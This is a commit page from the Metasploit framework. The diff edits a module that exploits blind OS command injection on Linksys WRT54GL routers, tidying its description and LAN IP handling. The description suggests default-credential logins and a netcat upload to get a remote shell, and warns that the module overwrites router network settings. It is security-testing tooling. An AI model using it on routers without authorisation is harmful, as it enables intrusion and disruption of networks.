Skip to content

Commit 25d8dac

Browse files
committed
Merge branch 'bugs/linksys-fixes' of github.com:todb-r7/metasploit-framework into todb-r7-bugs/linksys-fixes
2 parents ce7da15 + 5357e23 commit 25d8dac

File tree

1 file changed

+15
-12
lines changed

1 file changed

+15
-12
lines changed

modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,12 @@ def initialize(info = {})
2020
of the application.
2121
Default credentials are always a good starting point. admin/admin or admin
2222
and blank password could be a first try.
23-
Note: This is a blind os command injection vulnerability. This means that
23+
Note: This is a blind OS command injection vulnerability. This means that
2424
you will not see any output of your command. Try a ping command to your
25-
local system for a first test.
25+
local system and observe the packets with tcpdump (or equivalent) for a first test.
2626
2727
Hint: To get a remote shell you could upload a netcat binary and exec it.
28-
WARNING: Backup your network and dhcp configuration. We will overwrite it!
29-
Have phun
28+
WARNING: this module will overwrite network and DHCP configuration.
3029
},
3130
'Author' => [ 'm-1-k-3' ],
3231
'License' => MSF_LICENSE,
@@ -50,13 +49,23 @@ def initialize(info = {})
5049
OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
5150
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
5251
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
53-
OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
52+
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
5453
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
5554
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
5655
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
5756
], self.class)
5857
end
5958

59+
# If the user configured LANIP, use it. Otherwise, use RHOST.
60+
# NB: This presumes a dotted quad ip address.
61+
def lan_ip
62+
if datastore['LANIP'].to_s.empty?
63+
datastore['RHOST']
64+
else
65+
datastore['LANIP']
66+
end
67+
end
68+
6069
def run
6170
#setting up some basic variables
6271
uri = datastore['TARGETURI']
@@ -67,13 +76,7 @@ def run
6776
wandomain = datastore['WAN_DOMAIN']
6877
wanmtu = datastore['WAN_MTU']
6978

70-
if datastore['LANIP'] !~ /1.1.1.1/
71-
#there is a configuration from the user so we use LANIP for the router configuration
72-
ip = datastore['LANIP'].split('.')
73-
else
74-
#no configuration from user so we use RHOST for the router configuration
75-
ip = rhost.split('.')
76-
end
79+
ip = lan_ip.split('.')
7780

7881
if datastore['PASSWORD'].nil?
7982
pass = ""

0 commit comments

Comments
 (0)